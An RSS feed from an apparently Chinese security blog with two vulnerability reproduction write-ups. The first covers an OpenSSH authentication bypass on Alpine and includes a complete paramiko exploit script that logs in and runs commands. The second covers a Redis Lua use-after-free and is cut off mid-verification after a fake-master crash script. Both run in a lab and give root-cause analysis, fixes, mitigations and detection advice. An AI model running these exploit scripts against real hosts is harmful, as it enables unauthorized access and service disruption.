<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Malcolm`s Blog</title><description>安全研究 / 漏洞复现 / CTF</description><link>https://blog.mal-suen.cn/</link><language>zh_CN</language><item><title>OpenSSH 口令认证绕过（CVE-2026-123158）复现</title><link>https://blog.mal-suen.cn/posts/2026/11/227/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/11/227/</guid><description>在 Alpine 的 OpenSSH 上复现 CVE-2026-123158：musl 的 crypt 在口令超过 256 字节时返回星号，与口令字段为星号的账号相等，认证被误判为通过。实测 257 到 1024 字节的口令可在同一连接内绕过认证，并与已修复的 9.7p1-r6 做对照。</description><pubDate>Tue, 10 Nov 2026 16:30:00 GMT</pubDate><content:encoded>&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;漏洞编号&lt;/td&gt;
&lt;td&gt;CVE-2026-123158&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;漏洞类型&lt;/td&gt;
&lt;td&gt;身份认证绕过（CWE-287）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影响组件&lt;/td&gt;
&lt;td&gt;OpenSSH 的 sshd，运行在 musl libc 且未启用 PAM 的系统上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影响版本&lt;/td&gt;
&lt;td&gt;OpenSSH 10.6p2 之前；Alpine 3.15 及更早没有修复包&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;修复版本&lt;/td&gt;
&lt;td&gt;OpenSSH 10.6p2，2026 年 11 月 5 日发布；Alpine 3.16 至 edge 已回填&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;利用前提&lt;/td&gt;
&lt;td&gt;能访问 SSH 端口；存在口令字段为星号的账号；本机至少有一个以 $ 开头的口令哈希&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;公开利用&lt;/td&gt;
&lt;td&gt;原理公开，无独立 PoC&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;问题出在 musl 与 sshd 的交界处。musl 的 crypt 在口令过长时返回一个星号作为错误值，而 OpenSSH 用 strcmp 把 crypt 的结果与存储的口令哈希直接比较；当账号的口令字段本身就是星号时，两侧相等，认证通过，不需要知道任何口令。&lt;/p&gt;
&lt;p&gt;CVSS 3.1 评分为 8.1，已列入 CISA KEV，EPSS 约 1%。glibc 系统（Debian、Ubuntu、Fedora）不受影响，启用 PAM 的 sshd 也不受影响。&lt;/p&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;环境搭建&lt;/h3&gt;
&lt;p&gt;靶机是 Kali Rolling，用 Docker 起 Alpine 3.15。该分支已停止维护，没有拿到修复包，镜像里的 openssh-server 是 8.8p1。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker run -d --name sshole -p 2222:22 alpine:3.15 sleep 3600
└─$ sudo docker exec sshole sh -c &quot;apk add --no-cache openssh&quot;
└─$ sudo docker exec sshole ssh -V
OpenSSH_8.8p1, OpenSSL 1.1.1w  11 Sep 2023
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;容器里准备两个账号。bob 的口令字段写成星号，模拟只用密钥登录的运维账号；alice 设一个正常口令，用来做对照。sshd 打开口令登录，root 保持禁止。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker exec sshole sh -c &quot;ssh-keygen -A; adduser -D -s /bin/sh bob; adduser -D -s /bin/sh alice&quot;
└─$ sudo docker exec sshole sh -c &quot;sed -i &apos;s|^bob:.*|bob:*:20767:0:99999:7:::|&apos; /etc/shadow&quot;
└─$ sudo docker exec sshole sh -c &quot;echo alice:alice123 | chpasswd&quot;
└─$ sudo docker exec sshole sh -c &quot;sed -i &apos;s/^#*PasswordAuthentication.*/PasswordAuthentication yes/&apos; /etc/ssh/sshd_config&quot;
└─$ sudo docker exec sshole sh -c &quot;sed -i &apos;s/^#*PermitRootLogin.*/PermitRootLogin no/&apos; /etc/ssh/sshd_config&quot;
└─$ sudo docker exec sshole sh -c &quot;/usr/sbin/sshd&quot;
└─$ sudo docker exec sshole sh -c &quot;grep -E &apos;^(bob|alice|root):&apos; /etc/shadow&quot;
root:!::0:::::
bob:*:20767:0:99999:7:::
alice:$6$ZmF.QOUo.l.9mgdV$jHM1aStZ/wwdoAwmYGDK2wh2.TVNo9smaMKydTXDYax6X7r3mKj1y0oRDSCiMwiP0qe2sTNPYbfvkMWzakEie.:20767:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确认 sshd 没有链接 PAM，口令登录处于开启状态。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker exec sshole sh -c &quot;ldd /usr/sbin/sshd | grep -c pam; sshd -T | grep -iE &apos;^(passwordauthentication|permitrootlogin)&apos;&quot;
0
permitrootlogin no
passwordauthentication yes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;攻击机是另一台 Kali。验证脚本用 paramiko，它允许在同一个连接里连续发起多次口令认证，这一点后面会用到。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 -c &quot;import paramiko; print(paramiko.__version__)&quot;
4.0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;目标探测&lt;/h3&gt;
&lt;p&gt;攻击开始时只知道靶机地址 192.168.31.148。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 -T4 192.168.31.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-10 03:16 -0500
Nmap scan report for 192.168.31.148
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
2222/tcp open  EtherNetIP-1
MAC Address: 00:0C:29:B3:23:74 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描结果里有两个 SSH 端口。22 是靶机自身的服务，2222 是容器映射出来的，对两者一起做版本识别。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 22,2222 --version-light 192.168.31.148
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.2p1 Debian 6 (protocol 2.0)
2222/tcp open  ssh     OpenSSH 8.8 (protocol 2.0)
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两个版本都低于 10.6p2，但只有 2222 可打。banner 里带着各自的构建信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ printf &quot;\n&quot; | timeout 5 nc 192.168.31.148 22 | head -1
SSH-2.0-OpenSSH_10.2p1 Debian-6
└─$ printf &quot;\n&quot; | timeout 5 nc 192.168.31.148 2222 | head -1
SSH-2.0-OpenSSH_8.8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;22 的 banner 带 Debian 标记，是 Debian 打包、跑在 glibc 上的构建，漏洞依赖的 musl 返回值不会出现。2222 的 8.8 没有发行版后缀，正是 Alpine 3.15 自带的那一版，落在受影响区间，也说明它是 musl 构建。到这里就可以进去试，能不能打中由认证结果决定。&lt;/p&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;p&gt;先用普通方式试一次。bob 的口令字段是星号，任何口令都不该通过，事实也是如此。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ timeout 20 python3 -c &quot;
import paramiko
c = paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
    c.connect(&apos;192.168.31.148&apos;, port=2222, username=&apos;bob&apos;, password=&apos;A&apos;*300, timeout=8, allow_agent=False, look_for_keys=False)
    print(&apos;CONNECTED&apos;)
except Exception as e:
    print(type(e).__name__)
&quot;
AuthenticationException
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把口令长度从 1 扫到 1025，每种长度都在同一个连接里连续尝试两次，记录哪一次通过。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 /tmp/sshole_len.py 192.168.31.148 2222 bob
len=1     attempts=fail,fail              auth=False 
len=255   attempts=fail,fail              auth=False 
len=256   attempts=fail,fail              auth=False 
len=257   attempts=fail,ok                auth=True  uid=1000(bob) gid=1000(bob) groups=1000(bob)
len=300   attempts=fail,ok                auth=True  uid=1000(bob) gid=1000(bob) groups=1000(bob)
len=512   attempts=fail,ok                auth=True  uid=1000(bob) gid=1000(bob) groups=1000(bob)
len=1024  attempts=fail,ok                auth=True  uid=1000(bob) gid=1000(bob) groups=1000(bob)
len=1025  attempts=fail,fail              auth=False 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;边界很清楚：256 字节不通过，257 字节开始通过，1024 字节仍然通过，1025 字节被 sshd 拒绝。只尝试一次时，任何长度都不通过；第二次才成功。&lt;/p&gt;
&lt;p&gt;口令内容与结果无关。两个不同的 300 字节口令，第二次照样通过。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 /tmp/sshole_why.py 192.168.31.148 2222 bob
one attempt, 300 chars             attempts=fail          auth=False 
two attempts, different 300s       attempts=fail,ok       auth=True  uid=1000(bob) gid=1000(bob) groups=1000(bob)
wrong then 300                     attempts=fail,ok       auth=True  uid=1000(bob) gid=1000(bob) groups=1000(bob)
300 then wrong                     attempts=fail,fail     auth=False 
two wrongs then 300                attempts=fail,fail,ok  auth=True  uid=1000(bob) gid=1000(bob) groups=1000(bob)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;换成有真实口令的 alice，同样长度的口令不通过，正确的口令才能登录，说明绕过只对星号账号有效。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 /tmp/sshole_len.py 192.168.31.148 2222 alice
len=300   attempts=fail,fail              auth=False 
len=512   attempts=fail,fail              auth=False 
len=1024  attempts=fail,fail              auth=False 
len=1025  attempts=fail,fail              auth=False 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;把两次尝试写进一个脚本，第一次随便给一个口令，第二次给 300 字节的字符串，登录后执行命令。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 /tmp/sshole.py 192.168.31.148 2222 bob &quot;id; hostname; cat /etc/alpine-release&quot;
[*] banner: SSH-2.0-OpenSSH_8.8
[*] first attempt: rejected (expected)
[*] second attempt authenticated: True
uid=1000(bob) gid=1000(bob) groups=1000(bob)
503ea7a3c174
3.15.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录后的身份是 bob，不是 root。要提权还得另找路径，这一步只解决认证。&lt;/p&gt;
&lt;p&gt;整个过程没有向靶机写入文件，脚本都在攻击机上运行，认证失败只产生两条失败记录。实验结束后容器一并删除。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;musl 的 crypt 在什么情况下返回星号&lt;/h3&gt;
&lt;p&gt;musl 的 SHA-crypt 实现里有一个长度上限。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define KEY_MAX 256
...
for (i = 0; i &amp;lt;= KEY_MAX &amp;amp;&amp;amp; key[i]; i++);
if (i &amp;gt; KEY_MAX)
    return &quot;*&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;键长超过 256 字节时直接返回星号，不再计算哈希。这个行为只在以 $ 开头的盐（$1$、$5$、$6$）下出现；换成 DES 的两位盐，超长口令仍会算出一个 13 字节的结果。&lt;/p&gt;
&lt;p&gt;在容器里直接调用 libc 可以复现这个分界。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker exec sshole python3 /tmp/crypt_probe.py
salt=$6$ZmF.QOUo.l.9mgdV$     key=256  -&amp;gt; $6$ZmF.QOUo.l.9mgdV$eDa40ZRgEPcgA.srGboG
salt=$6$ZmF.QOUo.l.9mgdV$     key=257  -&amp;gt; *
salt=$6$ZmF.QOUo.l.9mgdV$     key=300  -&amp;gt; *
salt=xx                       key=257  -&amp;gt; xxJJqYuu8A9oE
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;OpenSSH 怎么比较&lt;/h3&gt;
&lt;p&gt;sshd 在不启用 PAM 时走 sys_auth_passwd，把候选口令按存储哈希的盐重新计算，再与存储值逐字节比较。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char *pw_password = authctxt-&amp;gt;valid ? shadow_pw(pw) : pw-&amp;gt;pw_passwd;
...
if (authctxt-&amp;gt;valid &amp;amp;&amp;amp; pw_password[0] &amp;amp;&amp;amp; pw_password[1])
    salt = pw_password;
encrypted_password = xcrypt(password, salt);
...
return encrypted_password != NULL &amp;amp;&amp;amp;
    strcmp(encrypted_password, pw_password) == 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;星号只有一位，pw_password[1] 是零，盐不会被采用，xcrypt 转而调用 pick_salt：它遍历 passwd，找到第一个以 $ 开头的哈希，取出盐缓存到静态数组里。于是 crypt 用 alice 的 $6$ 盐计算候选口令，257 字节以上得到星号，与 bob 的星号相等，函数返回 1。&lt;/p&gt;
&lt;h3&gt;第一次尝试为什么会失败&lt;/h3&gt;
&lt;p&gt;如果只是上面的逻辑，第一次就该成功。实测却要两次，原因在 pick_salt 与 shadow_pw 共用同一块缓冲区。&lt;/p&gt;
&lt;p&gt;shadow_pw 返回的是 getspnam 的静态结果，sys_auth_passwd 先把指针存进 pw_password，再调用 xcrypt。xcrypt 发现盐为空，进入 pick_salt，循环里对每个账号调用 shadow_pw，getspnam 反复覆写同一块缓冲区，循环结束时还把最后一个结果清零。等流程回到 strcmp，pw_password 指向的内容已经不是星号，比较失败。&lt;/p&gt;
&lt;p&gt;第二次尝试时，pick_salt 里的静态盐已经有值，函数一进门就返回，不再触碰 shadow，pw_password 保持星号，比较成功。&lt;/p&gt;
&lt;p&gt;这也解释了为什么两个不同的长口令都能在第二次通过：起作用的是缓存的盐，不是口令本身。&lt;/p&gt;
&lt;p&gt;修复提交同时做了两件事，一件是给比较加上长度下限，另一件是把 shadow_pw 改成返回副本，避免缓冲区被后续调用覆盖。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define MIN_PASSWORD_HASH_LEN	4
...
ret = encrypted_password != NULL &amp;amp;&amp;amp;
    strlen(pw_password) &amp;gt;= MIN_PASSWORD_HASH_LEN &amp;amp;&amp;amp;
    strcmp(encrypted_password, pw_password) == 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;长度不足 4 的存储值不再参与比较，星号、感叹号这类占位符都被排除。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;p&gt;升级到 OpenSSH 10.6p2 或更高版本。Alpine 已为 3.16 至 edge 回填修复包，3.15 及更早没有修复包，只能升级发行版或关闭口令登录。&lt;/p&gt;
&lt;p&gt;无法升级时按影响面从大到小处理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关闭口令认证。在 sshd_config 中设置 PasswordAuthentication no，重启 sshd，只保留密钥登录。这是最直接的做法。&lt;/li&gt;
&lt;li&gt;启用 PAM。受影响的前提之一是没有 PAM，改用 openssh-server-pam 并设置 UsePAM yes 可以绕开这段比较逻辑。&lt;/li&gt;
&lt;li&gt;清理星号账号。给仍在使用的账号设置真实口令或改用密钥，把不再使用的账号从 passwd 与 shadow 中删除。&lt;/li&gt;
&lt;li&gt;限制来源。SSH 端口只对管理网段开放，减少可发起尝试的来源。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;排查是否已经被利用，在 /var/log/messages 或 auth.log 中搜索没有口令的账号出现的登录成功记录。sshd 在认证成功时会写一行 Accepted password，这类账号本不该有口令登录，出现该记录即可判定异常。&lt;/p&gt;
&lt;h2&gt;附录：验证脚本&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;CVE-2026-123158: OpenSSH password auth bypass on musl without PAM.&quot;&quot;&quot;
import sys, paramiko

host, port, user, cmd = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]
long_pwd = &quot;A&quot; * 300

t = paramiko.Transport((host, port))
t.start_client(timeout=10)
print(&quot;[*] banner:&quot;, t.remote_version)

# 第一次认证只是为了让 pick_salt 缓存盐值，任何密码都会失败
try:
    t.auth_password(user, &quot;prime&quot;)
except paramiko.AuthenticationException:
    print(&quot;[*] first attempt: rejected (expected)&quot;)

t.auth_password(user, long_pwd)
print(&quot;[*] second attempt authenticated:&quot;, t.is_authenticated())

ch = t.open_session()
ch.exec_command(cmd)
print(ch.makefile().read().decode().rstrip())
t.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;长度扫描脚本在同一个连接里依次尝试两次，第二次更换长度，用来观察边界。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def try_len(n):
    t = paramiko.Transport((host, port)); t.start_client(timeout=10)
    res = []
    for pwd in (&quot;wrongpass&quot;, &quot;A&quot; * n):
        try:
            t.auth_password(user, pwd); res.append(&quot;ok&quot;)
        except paramiko.AuthenticationException:
            res.append(&quot;fail&quot;)
        if t.is_authenticated(): break
    auth = t.is_authenticated()
    t.close()
    return res, auth
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;OpenSSH 10.6p2 发布说明：&lt;a href=&quot;https://www.openssh.org/releasenotes.html&quot;&gt;OpenSSH Release Notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;修复提交说明：&lt;a href=&quot;https://github.com/openssh/openssh-portable&quot;&gt;openssh-portable&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;技术分析：&lt;a href=&quot;https://cycode.com/blog/sshole-cve-2026-123158-openssh-alpine-linux-vulnerability/&quot;&gt;sshole (CVE-2026-123158): OpenSSH password bypass on Alpine Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;检查与修复：&lt;a href=&quot;https://devops-daily.com/posts/alpine-openssh-password-bypass&quot;&gt;Alpine OpenSSH Password Bypass: Check and Fix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;漏洞条目：&lt;a href=&quot;https://app.opencve.io/cve/CVE-2026-123158&quot;&gt;CVE-2026-123158&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;musl 源码：&lt;a href=&quot;https://git.musl-libc.org/cgit/musl/tree/src/crypt/crypt_sha512.c&quot;&gt;crypt_sha512.c&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Redis Lua 脚本释放后使用到代码执行（CVE-2026-23631）复现</title><link>https://blog.mal-suen.cn/posts/2026/11/226/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/11/226/</guid><description>在 Redis 8.6.2 上复现 CVE-2026-23631：慢脚本超时后钩子进入事件循环，主从全量同步把仍在执行的 Lua 引擎释放，形成释放后使用。先用 gdb 抓到同一 lua_State 被二次释放的调用链，再用公开利用链取得 redis 用户命令执行与反弹 shell，并与修复版本 8.6.6 做对照。</description><pubDate>Sun, 08 Nov 2026 17:20:00 GMT</pubDate><content:encoded>&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;漏洞编号&lt;/td&gt;
&lt;td&gt;CVE-2026-23631&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;漏洞类型&lt;/td&gt;
&lt;td&gt;释放后使用（CWE-416）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影响组件&lt;/td&gt;
&lt;td&gt;带 Lua 脚本支持的 redis-server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影响版本&lt;/td&gt;
&lt;td&gt;带 Lua 脚本支持的全部版本；仍在维护的分支在 6.2.22、7.2.14、7.4.9、8.2.6、8.4.3、8.6.3 修复，7.0 分支已停止维护&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;修复版本&lt;/td&gt;
&lt;td&gt;6.2.22、7.2.14、7.4.9、8.2.6、8.4.3、8.6.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;利用前提&lt;/td&gt;
&lt;td&gt;已认证且能执行 Lua；副本的 replica-read-only 处于关闭或可被关闭的状态&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;公开利用&lt;/td&gt;
&lt;td&gt;有，DarkReplica（yoyosh/DarkReplica）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;问题出在复制与脚本引擎的交界处。副本上执行一个不会返回的 Lua 函数，5 秒后判定超时，服务器会在钩子里让出一次控制权，转去处理其他连接；若主节点在这时发起全量同步，正在执行脚本的引擎会被释放，脚本却继续运行，使用的是已经交还给分配器的内存。&lt;/p&gt;
&lt;p&gt;两个口径的差异集中在前置条件上。OpenCloudOS 按 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 折算为 9.0，OpenCVE 记录为 6.1，EPSS 3%，未列入 CISA KEV。利用需要能执行 Lua 的凭据，且目标为允许写入的副本，按此门槛计为 6.1；按取得入口之后的影响计为 9.0。&lt;/p&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;环境搭建&lt;/h3&gt;
&lt;p&gt;靶机为 Kali Rolling，内核 6.17.10+kali-amd64。8.6.2 位于受影响区间，8.6.6 已修复，两台容器分别使用 6379 与 6390 端口。6379 是 Redis 的默认端口，-p 把容器内的端口映射到主机，后面的探测才能直接从外部连上。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker run -d --name rds23631 -p 6379:6379 redis:8.6.2	# 受影响版本
└─$ sudo docker exec rds23631 redis-server --version
Redis server v=8.6.2 sha=00000000:1 malloc=jemalloc-5.3.0 bits=64 build=8e613b3f8d9e9a40
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;攻击机为另一台 Kali。公开利用链所需的 Python 依赖安装在虚拟环境中，不改动系统包。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 -m venv /tmp/drvenv
└─$ /tmp/drvenv/bin/pip install &quot;redis~=7.0.1&quot; &quot;json5~=0.12.1&quot; &quot;pydantic~=2.12.5&quot; &quot;rich~=14.2.0&quot;
└─$ /tmp/drvenv/bin/python -c &quot;import redis, json5, pydantic, rich; print(redis.__version__, pydantic.VERSION)&quot;	# 确认依赖可用
7.0.1 2.12.5
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;目标探测&lt;/h3&gt;
&lt;p&gt;攻击开始时只知道靶机地址 192.168.31.148。nmap 默认只扫描一千个常见端口，这里指定全端口，避免漏掉跑在非默认端口上的服务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 -T4 192.168.31.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-08 04:09 -0500
Nmap scan report for 192.168.31.148
Host is up (0.00068s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
6379/tcp open  redis
MAC Address: 00:0C:29:B3:23:74 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有 SSH 与 Redis 两个端口开放。对 6379 做版本识别。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 6379 --version-light 192.168.31.148
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 8.6.2
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-sV 会主动发送探测包判断服务类型，结果里的 8.6.2 是服务端自己报出的版本号。接下来确认三件事：是否需要口令，能否执行 Lua，副本的只读开关能否修改。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ redis-cli -h 192.168.31.148 ping
PONG
└─$ redis-cli -h 192.168.31.148 config get requirepass	# 口令为空即无认证
requirepass

└─$ redis-cli -h 192.168.31.148 acl whoami
default
└─$ redis-cli -h 192.168.31.148 config get replica-read-only
replica-read-only
yes
└─$ redis-cli -h 192.168.31.148 config get busy-reply-threshold	# 脚本超时阈值，单位毫秒
busy-reply-threshold
5000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;requirepass 是访问口令，为空表示任何人都可以连接。ACL 是 Redis 6.0 引入的权限系统，whoami 返回 default 说明当前使用默认用户，拥有全部权限。replica-read-only 决定副本是否接受写命令，默认值为 yes，但 ACL 未限制 CONFIG SET，关闭它只需一条命令。busy-reply-threshold 为 5000 毫秒，脚本超过该时间即判定超时，也是钩子介入的时点。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ printf &quot;PING\r\nINFO server\r\n&quot; | nc 192.168.31.148 6379 | head -18
+PONG
$623
# Server
redis_version:8.6.2
redis_git_sha1:00000000
redis_git_dirty:1
redis_build_id:8e613b3f8d9e9a40
redis_mode:standalone
os:Linux 6.17.10+kali-amd64 x86_64
arch_bits:64
monotonic_clock:POSIX clock_gettime
multiplexing_api:epoll
atomicvar_api:c11-builtin
gcc_version:14.2.0
process_id:1
process_supervised:no
run_id:a998b704535ee27b74b16004f0b3c93111a3728b
tcp_port:6379
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;条件已经齐备：可执行 Lua，可建立主从关系，只读开关可关闭。&lt;/p&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;p&gt;脚本在攻击机上运行，既要在本机启动一个假主节点，也要向目标发送三条命令。假主节点只需按 Redis 的复制协议完成握手：回应 PING、回应 REPLCONF，收到 PSYNC 后返回 FULLRESYNC 与一个 RDB。三条命令各自的作用：FUNCTION LOAD 把一段 Lua 代码注册成具名函数，FCALL 按名字调用它，SLAVEOF 让目标反过来连向指定地址，把它当作主节点。副本默认只读，因此还要关闭 slave-read-only，FCALL 才能执行。&lt;/p&gt;
&lt;p&gt;Redis 的主从同步由副本主动发起：连上主节点后先发 PING，再发 REPLCONF 报告监听端口与能力，然后发 PSYNC 请求同步。主节点回 +FULLRESYNC 并附带一个 RDB 文件，副本收到后整体替换本地数据。假主节点按这个顺序回应，就能让目标把攻击者控制的机器当成主节点。&lt;/p&gt;
&lt;p&gt;三条命令置于同一事务，否则 FCALL 开始阻塞后，排在后面的 SLAVEOF 与 CONFIG SET 会直接收到 BUSY。完整脚本见附录。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 /tmp/crash2.py 192.168.31.148 6379 8480 192.168.31.152 &quot;local t=os.clock() while os.clock()-t&amp;lt;10 do end return 1&quot;
[*] ping: True
[*] loaded: local t=os.clock() while os.clock()-t&amp;lt;10 do end return 1
[*] raised after 14.43s: ConnectionError(&apos;Error 111 connecting to 192.168.31.148:6379. Connection refused.&apos;)
[*] elapsed 14.43s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本中的循环用 os.clock 计时 10 秒，这个数值来自实测。最初写成 &lt;code&gt;for i=1,300000000 do s=s+i end&lt;/code&gt;，实测 1.24 秒即结束，早于 5 秒的超时阈值，同步尚未到达脚本就已返回，钩子没有机会介入。脚本必须活过 5 秒，钩子才会进入事件循环。&lt;/p&gt;
&lt;p&gt;在 8.6.2 上，这次运行的结果是进程消失，客户端在 14.43 秒收到连接被拒。Redis 日志中，假主节点发起的全量同步在 00:15:40.703 到达，48 毫秒后同步完成。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1:S 08 Nov 2026 00:15:40.703 * Full resync from master: 0000000000000000000000000000000000000000:1
1:S 08 Nov 2026 00:15:40.749 * MASTER &amp;lt;-&amp;gt; REPLICA sync: receiving 18 bytes from master to disk
1:S 08 Nov 2026 00:15:40.751 * MASTER &amp;lt;-&amp;gt; REPLICA sync: Flushing old data
1:S 08 Nov 2026 00:15:40.751 * MASTER &amp;lt;-&amp;gt; REPLICA sync: Finished with success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同一份脚本用于 8.6.6 时，函数返回 1，服务继续运行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 /tmp/crash2.py 192.168.31.148 6390 8481 192.168.31.152 &quot;local t=os.clock() while os.clock()-t&amp;lt;10 do end return 1&quot;	# 6390 是 8.6.6
[*] ping: True
